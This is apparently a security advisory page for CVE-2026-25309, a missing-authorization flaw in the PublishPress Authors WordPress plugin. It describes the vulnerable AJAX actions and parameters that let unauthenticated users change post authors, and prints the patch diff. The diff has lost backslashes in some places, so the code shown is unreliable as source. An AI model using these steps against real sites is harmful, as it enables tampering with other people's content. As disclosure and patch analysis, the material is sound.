Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-25309: Co-Authors, Multiple Authors and Guest Authors in an Author Box with PublishPress Authors <= 4.10.1 – Missing Authorization (publishpress-authors)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.10.1
Patched Version 4.11.0
Disclosed March 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25309:
This vulnerability is a Missing Authorization (CWE-862) flaw in the PublishPress Authors WordPress plugin (versions <= 4.10.1). The vulnerability allows unauthenticated attackers to perform unauthorized post author modifications, including adding or removing authors from posts, due to missing capability checks in two critical AJAX handler functions.

Root Cause:
The vulnerability exists in the `Post_Editor` class within `/publishpress-authors/src/core/Classes/Post_Editor.php`. Two AJAX handler functions, `handle_ajax_set_author` (line 643) and `handle_ajax_quick_edit` (line 680), process post author updates without verifying the requesting user has the `edit_post` capability for the target post. The `handle_ajax_set_author` function processes bulk author assignments via the `set_authors` method, while `handle_ajax_quick_edit` handles individual post author updates. Both functions directly call `Utils::set_post_authors` after receiving post IDs from user input, completely bypassing WordPress's standard permission checks.

Exploitation:
Attackers can exploit this vulnerability by sending crafted POST requests to `/wp-admin/admin-ajax.php` with the `action` parameter set to either `ppma_set_author` (for bulk updates) or `ppma_quick_edit` (for individual updates). For bulk exploitation, attackers send `post_ids[]` array containing target post IDs and `authors[]` array containing author IDs to assign. For individual exploitation, attackers send `post_id` and `author` parameters. No authentication or nonce is required. The attack vector is direct AJAX endpoint access with standard WordPress AJAX parameters.

Patch Analysis:
The patch adds capability checks before processing author modifications. In `handle_ajax_set_author` (line 643), the patch inserts `if (!current_user_can('edit_post', $post_id)) { continue; }` inside the post iteration loop, preventing unauthorized post updates. In `handle_ajax_quick_edit` (line 680), the patch adds `if (!current_user_can('edit_post', $post_id)) { return; }` before any author modification occurs. These changes enforce WordPress's standard permission system, requiring users to have the `edit_post` capability for each target post before author changes can be made.

Impact:
Successful exploitation allows unauthenticated attackers to modify authorship of any WordPress post, including published articles, drafts, and private content. Attackers can assign themselves or arbitrary users as authors, potentially gaining editorial privileges, manipulating content attribution, or disrupting editorial workflows. This can lead to content spoofing, privilege escalation through author-based permissions, and disruption of multi-author publishing systems.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/publishpress-authors/defines.php
+++ b/publishpress-authors/defines.php
@@ -12,7 +12,7 @@
 defined('ABSPATH') or die('No direct script access allowed.');

 if (!defined('PP_AUTHORS_LOADED')) {
-    define('PP_AUTHORS_VERSION', '4.10.1');
+    define('PP_AUTHORS_VERSION', '4.11.0');
     define('PP_AUTHORS_FILE', 'publishpress-authors/publishpress-authors.php');
     define('PP_AUTHORS_BASE_PATH', plugin_dir_path(__DIR__ . '/publishpress-authors.php'));
     define('PP_AUTHORS_MODULES_PATH', PP_AUTHORS_BASE_PATH . 'src/modules/');
--- a/publishpress-authors/lib/vendor/composer/installed.php
+++ b/publishpress-authors/lib/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => '__root__',
-        'pretty_version' => 'v4.10.1',
-        'version' => '4.10.1.0',
-        'reference' => '15ab21a3de82f7db1be157475d4cb1cd5559697d',
+        'pretty_version' => 'v4.11.0',
+        'version' => '4.11.0.0',
+        'reference' => 'cc367a12ee093df4f9e42ce5f6e64cbf6b08ee5e',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         '__root__' => array(
-            'pretty_version' => 'v4.10.1',
-            'version' => '4.10.1.0',
-            'reference' => '15ab21a3de82f7db1be157475d4cb1cd5559697d',
+            'pretty_version' => 'v4.11.0',
+            'version' => '4.11.0.0',
+            'reference' => 'cc367a12ee093df4f9e42ce5f6e64cbf6b08ee5e',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
@@ -47,9 +47,9 @@
             'dev_requirement' => false,
         ),
         'publishpress/psr-container' => array(
-            'pretty_version' => '2.0.1.10',
-            'version' => '2.0.1.10',
-            'reference' => '4ccd2cb058e7b93e96186791ca25870a02e35c5d',
+            'pretty_version' => '2.0.2.1',
+            'version' => '2.0.2.1',
+            'reference' => '773a2510aa39a7f0ad5d5dfc78878abb939f5704',
             'type' => 'library',
             'install_path' => __DIR__ . '/../publishpress/psr-container',
             'aliases' => array(),
@@ -65,18 +65,18 @@
             'dev_requirement' => false,
         ),
         'publishpress/wordpress-reviews' => array(
-            'pretty_version' => 'v1.1.20',
-            'version' => '1.1.20.0',
-            'reference' => '6d0b687a66439721b0432ef1320fd818cd56309f',
+            'pretty_version' => '1.2.0',
+            'version' => '1.2.0.0',
+            'reference' => '6d1cf428aef5fc5f72c9368fbd7ce1f14d956503',
             'type' => 'library',
             'install_path' => __DIR__ . '/../publishpress/wordpress-reviews',
             'aliases' => array(),
             'dev_requirement' => false,
         ),
         'publishpress/wordpress-version-notices' => array(
-            'pretty_version' => '2.1.5',
-            'version' => '2.1.5.0',
-            'reference' => 'caf37ca4705f89b882c1e53d9e592939568df944',
+            'pretty_version' => '2.2.0',
+            'version' => '2.2.0.0',
+            'reference' => '174b2a35e40dfb7ff0426cc16dc8ed0888be2169',
             'type' => 'library',
             'install_path' => __DIR__ . '/../publishpress/wordpress-version-notices',
             'aliases' => array(),
--- a/publishpress-authors/lib/vendor/publishpress/psr-container/lib/Versions.php
+++ b/publishpress-authors/lib/vendor/publishpress/psr-container/lib/Versions.php
@@ -3,11 +3,11 @@

 /*****************************************************************
  * This file is generated on composer update command by
- * a custom script.
- *
+ * a custom script.
+ *
  * Do not edit it manually!
  ****************************************************************/
-
+
 namespace PublishPressPsrContainer;

 if (! class_exists('PublishPress\PsrContainer\Versions')) {
--- a/publishpress-authors/lib/vendor/publishpress/psr-container/lib/include.php
+++ b/publishpress-authors/lib/vendor/publishpress/psr-container/lib/include.php
@@ -2,8 +2,8 @@

 /*****************************************************************
  * This file is generated on composer update command by
- * a custom script.
- *
+ * a custom script.
+ *
  * Do not edit it manually!
  ****************************************************************/

@@ -16,35 +16,35 @@
     return;
 }

-if (! function_exists(__NAMESPACE__ . 'register2Dot0Dot1Dot10')) {
+if (! function_exists(__NAMESPACE__ . 'register2Dot0Dot2Dot1')) {
     if (! defined('PUBLISHPRESS_PSR_CONTAINER_INCLUDED')) {
         define('PUBLISHPRESS_PSR_CONTAINER_INCLUDED', __DIR__);
     }
-
+
     if (! class_exists('PublishPressPsrContainerVersions')) {
         require_once __DIR__ . '/Versions.php';

         add_action('plugins_loaded', [Versions::class, 'initializeLatestVersion'], -190, 0);
     }

-    add_action('plugins_loaded', __NAMESPACE__ . 'register2Dot0Dot1Dot10', -200, 0);
+    add_action('plugins_loaded', __NAMESPACE__ . 'register2Dot0Dot2Dot1', -200, 0);

-    function register2Dot0Dot1Dot10()
+    function register2Dot0Dot2Dot1()
     {
         if (! interface_exists('PublishPressPsrContainerContainerInterface')) {
             $versions = Versions::getInstance();
-            $versions->register('2.0.1.10', __NAMESPACE__ . 'initialize2Dot0Dot1Dot10');
+            $versions->register('2.0.2.1', __NAMESPACE__ . 'initialize2Dot0Dot2Dot1');
         }
     }

-    function initialize2Dot0Dot1Dot10()
+    function initialize2Dot0Dot2Dot1()
     {
         require_once __DIR__ . '/autoload.php';
-
+
         if (! defined('PUBLISHPRESS_PSR_CONTAINER_VERSION')) {
-            define('PUBLISHPRESS_PSR_CONTAINER_VERSION', '2.0.1.10');
+            define('PUBLISHPRESS_PSR_CONTAINER_VERSION', '2.0.2.1');
         }
-
-        do_action('publishpress_psr_container_2Dot0Dot1Dot10_initialized');
+
+        do_action('publishpress_psr_container_2Dot0Dot2Dot1_initialized');
     }
 }
--- a/publishpress-authors/lib/vendor/publishpress/psr-container/lib/psr/container/src/ContainerExceptionInterface.php
+++ b/publishpress-authors/lib/vendor/publishpress/psr-container/lib/psr/container/src/ContainerExceptionInterface.php
@@ -2,15 +2,17 @@
 /**
  * @license MIT
  *
- * Modified by PHP-FIG on 30-May-2023 using Strauss.
+ * Modified by PHP-FIG on 09-December-2025 using Strauss.
  * @see https://github.com/BrianHenryIE/strauss
  */

 namespace PublishPressPsrContainer;

+use Throwable;
+
 /**
  * Base interface representing a generic exception in a container.
  */
-interface ContainerExceptionInterface
+interface ContainerExceptionInterface extends Throwable
 {
 }
--- a/publishpress-authors/lib/vendor/publishpress/psr-container/lib/psr/container/src/ContainerInterface.php
+++ b/publishpress-authors/lib/vendor/publishpress/psr-container/lib/psr/container/src/ContainerInterface.php
@@ -2,7 +2,7 @@
 /**
  * @license MIT
  *
- * Modified by PHP-FIG on 30-May-2023 using Strauss.
+ * Modified by PHP-FIG on 09-December-2025 using Strauss.
  * @see https://github.com/BrianHenryIE/strauss
  */

--- a/publishpress-authors/lib/vendor/publishpress/psr-container/lib/psr/container/src/NotFoundExceptionInterface.php
+++ b/publishpress-authors/lib/vendor/publishpress/psr-container/lib/psr/container/src/NotFoundExceptionInterface.php
@@ -2,7 +2,7 @@
 /**
  * @license MIT
  *
- * Modified by PHP-FIG on 30-May-2023 using Strauss.
+ * Modified by PHP-FIG on 09-December-2025 using Strauss.
  * @see https://github.com/BrianHenryIE/strauss
  */

--- a/publishpress-authors/lib/vendor/publishpress/wordpress-reviews/ReviewsController.php
+++ b/publishpress-authors/lib/vendor/publishpress/wordpress-reviews/ReviewsController.php
@@ -71,6 +71,11 @@
     private $iconUrl;

     /**
+     * @var bool
+     */
+    private static $textDomainLoaded = false;
+
+    /**
      * @param string $pluginSlug
      * @param string $pluginName
      * @param string $iconUrl
@@ -118,10 +123,26 @@
     }

     /**
+     * Load the text domain for translations.
+     */
+    private function loadTextDomain()
+    {
+        if (self::$textDomainLoaded) {
+            return;
+        }
+
+        $mofile = __DIR__ . '/languages/publishpress-wordpress-reviews-' . determine_locale() . '.mo';
+
+        load_textdomain('publishpress-wordpress-reviews', $mofile);
+        self::$textDomainLoaded = true;
+    }
+
+    /**
      * Initialize the library.
      */
     public function init()
     {
+        $this->loadTextDomain();
         $this->addHooks();
     }

@@ -212,20 +233,19 @@
      */
     public function ajaxHandler()
     {
-        $args = wp_parse_args(
-            $_REQUEST,
-            [
-                'group' => $this->getTriggerGroup(),
-                'code' => $this->getTriggerCode(),
-                'priority' => $this->getCurrentTrigger('priority'),
-                'reason' => 'maybe_later',
-            ]
-        );
+        $nonce = isset($_REQUEST['nonce']) ? sanitize_key($_REQUEST['nonce']) : '';

-        if (! wp_verify_nonce($_REQUEST['nonce'], $this->metaMap['nonce_action'])) {
+        if (! wp_verify_nonce($nonce, $this->metaMap['nonce_action'])) {
             wp_send_json_error();
         }

+        $args = [
+            'group' => isset($_REQUEST['group']) ? sanitize_text_field($_REQUEST['group']) : $this->getTriggerGroup(),
+            'code' => isset($_REQUEST['code']) ? sanitize_text_field($_REQUEST['code']) : $this->getTriggerCode(),
+            'priority' => isset($_REQUEST['priority']) ? intval($_REQUEST['priority']) : $this->getCurrentTrigger('priority'),
+            'reason' => isset($_REQUEST['reason']) ? sanitize_key($_REQUEST['reason']) : 'maybe_later',
+        ];
+
         try {
             $userId = get_current_user_id();

@@ -334,7 +354,7 @@
         if (! array_key_exists($this->pluginSlug, $triggers)) {
             $timeMessage = __(
                 'Hey, you've been using %1$s for %2$s on your site. We hope the plugin has been useful. Please could you quickly leave a 5-star rating on WordPress.org? It really does help to keep %1$s growing.',
-                $this->pluginSlug
+                'publishpress-wordpress-reviews'
             );

             $triggers[$this->pluginSlug] = apply_filters(
@@ -343,7 +363,7 @@
                     'time_installed' => [
                         'triggers' => [
                             'one_week' => [
-                                'message' => sprintf($timeMessage, $this->pluginName, __('1 week', $this->pluginSlug)),
+                                'message' => sprintf($timeMessage, $this->pluginName, __('1 week', 'publishpress-wordpress-reviews')),
                                 'conditions' => [
                                     strtotime($this->installationPath() . ' +1 week') < time(),
                                 ],
@@ -351,7 +371,7 @@
                                 'priority' => 10,
                             ],
                             'one_month' => [
-                                'message' => sprintf($timeMessage, $this->pluginName, __('1 month', $this->pluginSlug)),
+                                'message' => sprintf($timeMessage, $this->pluginName, __('1 month', 'publishpress-wordpress-reviews')),
                                 'conditions' => [
                                     strtotime($this->installationPath() . ' +1 month') < time(),
                                 ],
@@ -362,7 +382,7 @@
                                 'message' => sprintf(
                                     $timeMessage,
                                     $this->pluginName,
-                                    __('3 months', $this->pluginSlug)
+                                    __('3 months', 'publishpress-wordpress-reviews')
                                 ),
                                 'conditions' => [
                                     strtotime($this->installationPath() . ' +3 months') < time(),
@@ -495,30 +515,30 @@
             .{$this->pluginSlug}-wp-reviews-notice p {
                 font-size: 15px;
             }
-
+
             .{$this->pluginSlug}-wp-reviews-notice .button:not(.notice-dismiss) {
                 border-width: 1px;
             }
-
+
             .{$this->pluginSlug}-wp-reviews-notice .button.button-primary {
                 background-color: #655897;
                 border-color: #3d355c;
                 color: #fff;
             }
-
+
             .{$this->pluginSlug}-wp-reviews-notice .notice-icon {
                 float: right;
                 height: 110px;
                 margin-top: 10px;
                 margin-left: 10px;
             }
-
+
             @media (min-width:1000px) {
                 .{$this->pluginSlug}-wp-reviews-notice .notice-icon {
                     height: 90px;
                 }
             }
-
+
             @media (min-width:1700px) {
                 .{$this->pluginSlug}-wp-reviews-notice .notice-icon {
                     height: 70px;
@@ -616,18 +636,18 @@
                    data-reason="am_now"
                 >
                     <strong><?php
-                        $message = __('Click here to add your rating for %s', $this->pluginSlug);
+                        $message = __('Click here to add your rating for %s', 'publishpress-wordpress-reviews');
                         echo sprintf($message, $this->pluginName); ?></strong>
                 </a>
                 <a href="#" class="button <?php
                 echo "$this->pluginSlug-dismiss"; ?>" data-reason="maybe_later">
                     <?php
-                    _e('Maybe later', $this->pluginSlug); ?>
+                    _e('Maybe later', 'publishpress-wordpress-reviews'); ?>
                 </a>
                 <a href="#" class="button <?php
                 echo "$this->pluginSlug-dismiss"; ?>" data-reason="already_did">
                     <?php
-                    _e('I already did', $this->pluginSlug); ?>
+                    _e('I already did', 'publishpress-wordpress-reviews'); ?>
                 </a>
             </p>
         </div>
--- a/publishpress-authors/lib/vendor/publishpress/wordpress-version-notices/src/Module/MenuLink/Module.php
+++ b/publishpress-authors/lib/vendor/publishpress/wordpress-version-notices/src/Module/MenuLink/Module.php
@@ -163,7 +163,7 @@
                         $context = [
                             'message' => __(
                                 'Amazing! We are redirecting you to our site...',
-                                'wordpress-version-notices'
+                                'publishpress-wordpress-version-notices'
                             ),
                             'link'    => $settings['link']
                         ];
--- a/publishpress-authors/lib/vendor/publishpress/wordpress-version-notices/src/autoload.php
+++ b/publishpress-authors/lib/vendor/publishpress/wordpress-version-notices/src/autoload.php
@@ -8,9 +8,16 @@
     return;
 }

+if (! defined('PP_VERSION_NOTICES_TEXT_DOMAIN_LOADED')) {
+    define('PP_VERSION_NOTICES_TEXT_DOMAIN_LOADED', true);
+
+    $mofile = dirname(__DIR__) . '/languages/publishpress-wordpress-version-notices-' . determine_locale() . '.mo';
+    load_textdomain('publishpress-wordpress-version-notices', $mofile);
+}
+
 add_action('plugins_loaded', function () {
     if (! defined('PP_VERSION_NOTICES_LOADED')) {
-        define('PP_VERSION_NOTICES_VERSION', '2.1.5');
+        define('PP_VERSION_NOTICES_VERSION', '2.2.0');
         define('PP_VERSION_NOTICES_BASE_PATH', __DIR__ . '/../');
         define('PP_VERSION_NOTICES_SRC_PATH', __DIR__);

--- a/publishpress-authors/lib/vendor/publishpress/wordpress-version-notices/src/include.php
+++ b/publishpress-authors/lib/vendor/publishpress/wordpress-version-notices/src/include.php
@@ -16,7 +16,7 @@
     return;
 }

-if (! function_exists(__NAMESPACE__ . 'register2Dot1Dot5')) {
+if (! function_exists(__NAMESPACE__ . 'register2Dot2Dot0')) {
     if (! defined('PUBLISHPRESS_WORDPRESS_VERSION_NOTICES_INCLUDED')) {
         define('PUBLISHPRESS_WORDPRESS_VERSION_NOTICES_INCLUDED', __DIR__);
     }
@@ -27,24 +27,24 @@
         add_action('plugins_loaded', [Versions::class, 'initializeLatestVersion'], -150, 0);
     }

-    add_action('plugins_loaded', __NAMESPACE__ . 'register2Dot1Dot5', -190, 0);
+    add_action('plugins_loaded', __NAMESPACE__ . 'register2Dot2Dot0', -190, 0);

-    function register2Dot1Dot5()
+    function register2Dot2Dot0()
     {
         if (! class_exists('PublishPressWordpressVersionNoticesServicesProvider')) {
             $versions = Versions::getInstance();
-            $versions->register('2.1.5', __NAMESPACE__ . 'initialize2Dot1Dot5');
+            $versions->register('2.2.0', __NAMESPACE__ . 'initialize2Dot2Dot0');
         }
     }

-    function initialize2Dot1Dot5()
+    function initialize2Dot2Dot0()
     {
         require_once __DIR__ . '/autoload.php';

         if (! defined('PUBLISHPRESS_WORDPRESS_VERSION_NOTICES_VERSION')) {
-            define('PUBLISHPRESS_WORDPRESS_VERSION_NOTICES_VERSION', '2.1.5');
+            define('PUBLISHPRESS_WORDPRESS_VERSION_NOTICES_VERSION', '2.2.0');
         }

-        do_action('publishpress_wordpress_version_notices_2Dot1Dot5_initialized');
+        do_action('publishpress_wordpress_version_notices_2Dot2Dot0_initialized');
     }
 }
--- a/publishpress-authors/publishpress-authors.php
+++ b/publishpress-authors/publishpress-authors.php
@@ -5,7 +5,7 @@
  * Description: PublishPress Authors allows you to add multiple authors and guest authors to WordPress posts
  * Author:      PublishPress
  * Author URI:  https://publishpress.com
- * Version: 4.10.1
+ * Version: 4.11.0
  * Text Domain: publishpress-authors
  * Domain Path: /languages
  * Requires at least: 5.5
--- a/publishpress-authors/src/core/Authors_Widget.php
+++ b/publishpress-authors/src/core/Authors_Widget.php
@@ -338,7 +338,21 @@
         $showEmpty = isset($instance['show_empty']) ? $instance['show_empty'] : false;

         if (isset($instance['limit_per_page']) && (int)$instance['limit_per_page'] > 0 && !isset($instance['page'])) {
-            $instance['page'] = (get_query_var('paged')) ? get_query_var('paged') : 1;
+
+            // Check both parameters, prioritize ppma_page if both exist
+            $ppma_page = get_query_var('ppma_page');
+            if (empty($ppma_page) && isset($_GET['ppma_page'])) {
+                $ppma_page = $_GET['ppma_page'];
+            }
+            $paged = get_query_var('paged');
+
+            if ($ppma_page && is_numeric($ppma_page)) {
+                $instance['page'] = (int)$ppma_page;
+            } elseif ($paged && is_numeric($paged)) {
+                $instance['page'] = (int)$paged;
+            } else {
+                $instance['page'] = 1;
+            }
         }

         $author_results   = publishpress_authors_get_all_authors(array('hide_empty' => !$showEmpty), $instance);
@@ -348,12 +362,30 @@
             $per_page    = $author_results['per_page'];
             $page        = $author_results['page'];
             $pages       = ceil($total_terms/$per_page);
-            $pagination  = paginate_links(
-                [
-                    'current' => $page,
-                    'total' => ceil($total_terms / $per_page)
-                ]
-            );
+
+            if (
+                (isset($instance['list_id']) && !empty($instance['list_id']))
+                ||
+                (isset($_GET['page']) && $_GET['page'] === 'ppma-author-list')
+            ) {
+                $base_url = remove_query_arg('ppma_page', $_SERVER['REQUEST_URI']);
+                $pagination = paginate_links(
+                    [
+                        'base' => $base_url . '%_%',
+                        'format' => (strpos($base_url, '?') !== false) ? '&ppma_page=%#%' : '?ppma_page=%#%',
+                        'current' => $page,
+                        'total' => $pages,
+                        'add_args' => []
+                    ]
+                );
+            } else {
+                $pagination = paginate_links(
+                    [
+                        'current' => $page,
+                        'total' => $pages
+                    ]
+                );
+            }

         } else {
             $authors    = $author_results;
@@ -386,8 +418,10 @@
         // search box
         $search_box_html = '';
         if (isset($instance['search_box']) && $instance['search_box']) {
+            $current_url = remove_query_arg(['ppma_page', 'paged', 'seach_query', 'search_field'], $_SERVER['REQUEST_URI']);
+
             $search_box_html .= '<div class="pp-multiple-authors-searchbox searchbox">';
-            $search_box_html .= '<form action="" method="GET">';
+            $search_box_html .= '<form action="' . esc_url($current_url) . '" method="GET">';
             $search_box_html .= '<input class="widefat" id="authors-search-input" name="seach_query" type="search" value="'. esc_attr($search_query) .'" placeholder="'. esc_attr($search_placeholder) .'">';
             if ($filter_fields) {
                 $search_box_html .= '<select id="authors-search-filter" name="search_field">';
--- a/publishpress-authors/src/core/Classes/Installer.php
+++ b/publishpress-authors/src/core/Classes/Installer.php
@@ -71,7 +71,7 @@
     public static function runUpgradeTasks($currentVersions)
     {
         $legacyPlugin = Factory::getLegacyPlugin();
-
+
         if (version_compare($currentVersions, '2.0.2', '<')) {
             // Do not execute the post_author migration to post terms if Co-Authors Plus is activated.
             if (!isset($GLOBALS['coauthors_plus']) || empty($GLOBALS['coauthors_plus'])) {
@@ -118,6 +118,9 @@
         if (version_compare($currentVersions, '4.7.5', '<')) {
             MA_Author_Boxes::authorBoxesMetaDefaultLabelUpdate();
         }
+        if (version_compare($currentVersions, '4.11.0', '<')) {
+            self::migrateEmailFieldRestVisibility();
+        }

         /**
          * @param string $previousVersion
@@ -447,6 +450,24 @@
     }

     /**
+     * Update existing email field to hide in REST API
+     */
+    private static function migrateEmailFieldRestVisibility()
+    {
+        $email_field = get_posts([
+            'post_type' => 'ppmacf_field',
+            'post_status' => 'publish',
+            'name' => 'user_email',
+            'posts_per_page' => 1
+        ]);
+
+        if (!empty($email_field)) {
+            $field_id = $email_field[0]->ID;
+            update_post_meta($field_id, 'ppmacf_show_in_rest', 'off');
+        }
+    }
+
+    /**
      * Update author boxes field value.
      *
      * @param array $fields_data
--- a/publishpress-authors/src/core/Classes/Post_Editor.php
+++ b/publishpress-authors/src/core/Classes/Post_Editor.php
@@ -643,6 +643,9 @@

         if (!empty($post_ids) && !empty($authors)) {
             foreach ($post_ids as $post_id) {
+                if (!current_user_can('edit_post', $post_id)) {
+                    continue;
+                }
                 Utils::set_post_authors($post_id, $authors, true, $fallbackUserId);
                 Utils::set_post_authors($post_id, $authors, true, $fallbackUserId, $author_categories);
                 set_transient("post_quick_edited_{$post_id}", true, 60);
@@ -680,6 +683,10 @@
             return;
         }

+        if (!current_user_can('edit_post', $post_id)) {
+            return;
+        }
+
         $legacyPlugin = Factory::getLegacyPlugin();
         $show_editor_author_box = isset($legacyPlugin->modules->multiple_authors->options->show_editor_author_box_selection)
                 && 'yes' === $legacyPlugin->modules->multiple_authors->options->show_editor_author_box_selection;
--- a/publishpress-authors/src/core/Plugin.php
+++ b/publishpress-authors/src/core/Plugin.php
@@ -113,6 +113,9 @@
         add_shortcode('publishpress_authors_data', [$this, 'shortcodeAuthorsData']);
         add_shortcode('publishpress_authors_list', [$this, 'shortcodeAuthorsList']);

+        // Register custom query var for pagination
+        add_filter('query_vars', [$this, 'add_ppma_page_query_var']);
+
         // Action to display the author box
         add_action('pp_multiple_authors_show_author_box', [$this, 'action_echo_author_box'], 10, 5);

@@ -2005,9 +2008,10 @@
             $author_lists       = $legacyPlugin->modules->author_list->options->author_list_data;
             $author_list_data   = isset($author_lists[$attributes['list_id']]) ? $author_lists[$attributes['list_id']] : false;
             if ($author_list_data) {
+                $list_id = $attributes['list_id'];
                 $attributes = $author_list_data['shortcode_args'];
+                $attributes['list_id'] = $list_id;
             }
-
         }

         $attributes = wp_parse_args($attributes, $defaults);
@@ -2115,32 +2119,37 @@
         return $capabilities;
     }

-        /**
-         * Prevent ACF Extended from modifying authors list and edit page
-         *
-         * @param mixed $value
-         * @return mixed
-         */
-        public function disable_acfe_ui_for_authors($value)
-        {
-            global $current_screen, $pagenow;
+    public function add_ppma_page_query_var($query_vars) {
+        $query_vars[] = 'ppma_page';
+        return $query_vars;
+    }

-            if (!is_admin()) {
-                return $value;
-            }
+    /**
+     * Prevent ACF Extended from modifying authors list and edit page
+     *
+     * @param mixed $value
+     * @return mixed
+     */
+    public function disable_acfe_ui_for_authors($value)
+    {
+        global $current_screen, $pagenow;

-            if (!in_array($pagenow, ['edit-tags.php', 'term.php'])) {
-                return $value;
-            }
+        if (!is_admin()) {
+            return $value;
+        }

-            $screen_taxonomy = $current_screen ? $current_screen->taxonomy : '';
+        if (!in_array($pagenow, ['edit-tags.php', 'term.php'])) {
+            return $value;
+        }

-            $taxonomy = isset($_GET['taxonomy']) ? sanitize_key($_GET['taxonomy']) : $screen_taxonomy;
+        $screen_taxonomy = $current_screen ? $current_screen->taxonomy : '';

-            if ($taxonomy === 'author') {
-                return false;
-            }
+        $taxonomy = isset($_GET['taxonomy']) ? sanitize_key($_GET['taxonomy']) : $screen_taxonomy;

-            return $value;
+        if ($taxonomy === 'author') {
+            return false;
         }
+
+        return $value;
+    }
 }
--- a/publishpress-authors/src/functions/template-tags.php
+++ b/publishpress-authors/src/functions/template-tags.php
@@ -2180,6 +2180,32 @@
     }
 }

+if (!function_exists('ppma_generate_slug')) {
+    /**
+     * Generate a URL-safe slug that preserves Arabic and other
+     * non-english characters #2185
+     *
+     * @param string $text The text to generate slug from
+     * @return string The generated slug
+     */
+    function ppma_generate_slug($text) {
+        // Convert to lowercase and replace spaces with hyphens
+        $slug = strtolower($text);
+        $slug = preg_replace('/s+/', '-', $slug);
+
+        // Keep all Unicode letters, numbers, and hyphens
+        $slug = preg_replace('/[^p{L}p{N}-]/u', '', $slug);
+
+        // Replace multiple hyphens with single hyphen
+        $slug = preg_replace('/-+/', '-', $slug);
+
+        // Remove hyphens from start and end
+        $slug = trim($slug, '-');
+
+        return $slug;
+    }
+}
+
 if (!function_exists('publishpress_authors_remove_single_user_map_restriction')) {
     /**
      * Determine if single user map restriction should be removed
--- a/publishpress-authors/src/modules/author-boxes/author-boxes.php
+++ b/publishpress-authors/src/modules/author-boxes/author-boxes.php
@@ -1267,6 +1267,15 @@

         $editor_data['post_id'] = $post_id;

+        // set boxed_categories defautlt fields
+        if (
+        isset($editor_data['author_categories_layout'])
+        && $editor_data['author_categories_layout'] === 'boxed_categories'
+        && !isset($editor_data['author_bio_display_position'])
+        ) {
+            $editor_data['author_bio_display_position'] = 'first';
+        }
+
         //set social profile defaults
         $social_fields = ['facebook', 'twitter', 'x', 'instagram', 'linkedin', 'youtube', 'tiktok'];
         foreach ($social_fields as $social_field) {
@@ -1276,12 +1285,14 @@
             ) {
                 $editor_data['profile_fields_'.$social_field.'_display'] = 'icon';
             }
-            //set default ucon value
+            //set default icon value
             if (!isset($editor_data['profile_fields_'.$social_field.'_display_icon'])
                 || (isset($editor_data['profile_fields_'.$social_field.'_display_icon']) && empty($editor_data['profile_fields_'.$social_field.'_display_icon']))
             ) {
                 if ($social_field === 'tiktok') {
                     $editor_data['profile_fields_'.$social_field.'_display_icon'] = '<i class="fab fa-'.$social_field.'"></i>';
+                } elseif ($social_field === 'x') {
+                    $editor_data['profile_fields_'.$social_field.'_display_icon'] = '<i class="fab fa-x-twitter"></i>';
                 } else {
                     $editor_data['profile_fields_'.$social_field.'_display_icon'] = '<span class="dashicons dashicons-'.$social_field.'"></span>';
                 }
@@ -1608,6 +1619,19 @@
                 }
             endforeach;
         }
+
+        // Check display position setting
+        $display_position = !empty($args['author_bio_display_position']['value'])
+            ? $args['author_bio_display_position']['value']
+            : 'all';
+
+        // Check if bio should be hidden for author categories
+        $hide_for_categories = !empty($args['author_bio_hide_categories']['value'])
+            ? $args['author_bio_hide_categories']['value']
+            : [];
+
+        // Initialize global author index
+        $global_author_index = 0;
         ?>

         <?php if ($admin_preview) : ?>
@@ -1945,6 +1969,24 @@
                                                                 endif ?>
                                                                 <?php echo $name_row_extra ; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
                                                                 <?php if ($args['author_bio_show']['value']) : ?>
+                                                                    <?php
+                                                                        // Check bio display position logic
+                                                                        $should_show_bio = true;
+                                                                        if ($display_position !== 'all') {
+                                                                            if ($display_position === 'first' && $global_author_index !== 0) {
+                                                                                $should_show_bio = false;
+                                                                            } elseif ($display_position === 'last' && $global_author_index !== $author_counts - 1) {
+                                                                                $should_show_bio = false;
+                                                                            }
+                                                                        }
+
+                                                                        // Check category override
+                                                                        if ($should_show_bio && !empty($hide_for_categories) && in_array($author_category_data['id'], $hide_for_categories)) {
+                                                                            $should_show_bio = false;
+                                                                        }
+                                                                    ?>
+
+                                                                    <?php if ($should_show_bio) :  ?>
                                                                         <<?php echo esc_html($args['author_bio_html_tag']['value']); ?> class="pp-author-boxes-description multiple-authors-description author-description-<?php echo esc_attr($index); ?>">
                                                                         <?php if ($args['author_bio_link']['value']) : ?>
                                                                             <a href="<?php echo esc_url($author->link); ?>" title="<?php echo esc_attr__('Author', 'publishpress-authors'); ?>">
@@ -1954,6 +1996,7 @@
                                                                             </a>
                                                                         <?php endif; ?>
                                                                         </<?php echo esc_html($args['author_bio_html_tag']['value']); ?>>
+                                                                    <?php endif; ?>
                                                                 <?php endif; ?>
                                                                 <?php echo $bio_row_extra ; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>

@@ -2003,6 +2046,7 @@
                                                     <?php if ($li_style) : ?>
                                                         </li>
                                                     <?php endif; ?>
+                                                    <?php $global_author_index++; ?>
                                                 <?php endforeach; ?>
                                             <?php endif; ?>
                                         <?php if ($li_style) : ?>
@@ -2206,6 +2250,31 @@
                         <?php endforeach; ?>
                     </select>
                 <?php
+                elseif ('multiselect' === $args['type']) :
+                    $selected_values = is_array($args['value']) ? $args['value'] : [];
+                    $field_name = $key;
+                    ?>
+                    <select name="<?php echo esc_attr($field_name); ?>[]"
+                        style="width: 95%;"
+                        class="authors-select2 authors-select2-default-select"
+                        id="<?php echo esc_attr($key); ?>"
+                        placeholder="<?php echo esc_attr($args['placeholder']); ?>"
+                        data-placeholder="<?php echo esc_attr($args['placeholder']); ?>"
+                        <?php echo (isset($args['readonly']) && $args['readonly'] === true) ? 'readonly' : ''; ?>
+                        <?php echo 'multiple'; ?>
+                        />
+                        <?php
+                        if (!empty($args['options'])) :
+                            foreach ($args['options'] as $key => $label) : ?>
